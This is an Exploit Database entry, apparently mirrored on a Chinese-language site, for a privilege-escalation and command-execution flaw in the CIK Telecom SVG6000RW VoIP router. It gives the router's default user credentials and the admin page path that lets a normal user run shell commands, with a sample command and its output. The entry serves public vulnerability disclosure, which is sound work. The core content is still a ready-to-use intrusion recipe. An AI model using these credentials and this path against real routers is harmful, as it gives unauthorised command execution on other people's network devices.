CIK Telecom VoIP Router SVG6000RW – Privilege Escalation / Command Execution

• Exploit Database
• 123 阅读

• 作者： Chako
  日期： 2014-12-17
• 类别：

  • webapps
  平台：

  • hardware
• 来源：https://www.exploit-db.com/exploits/35556/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57

  #################################################################### # # Exploit Title: CIK Telecom VoIP router SVG6000RW Privilege Escalation and Command Execution # Date: 2014/12/10 # Exploit Author: Chako # Vendor Homepage: https://www.ciktel.com/ # ####################################################################   Description: CIK Telecom VoIP router SVG6000RW has a Privilege Escalation vulnerabilitie and can lead to Command Execution.     Exploit:   1) Login as a normal user Default Username: User Password:cikvoip   2) change URL to http://URL/adm/system_command.asp and now u can run commands.     Example:   Command: ls /etc_rw/web   Result:   internet cgi-bin homemode_conf.asp menu-en.swf wireless md5.js hotelmode_conf.asp waitAndReboot.asp graphics menu.swf getMac.asp quickconfig.asp javascript firewall home.asp customermode_conf.asp wait.asp station login.asp main.css overview.asp style voip lang wps usb adm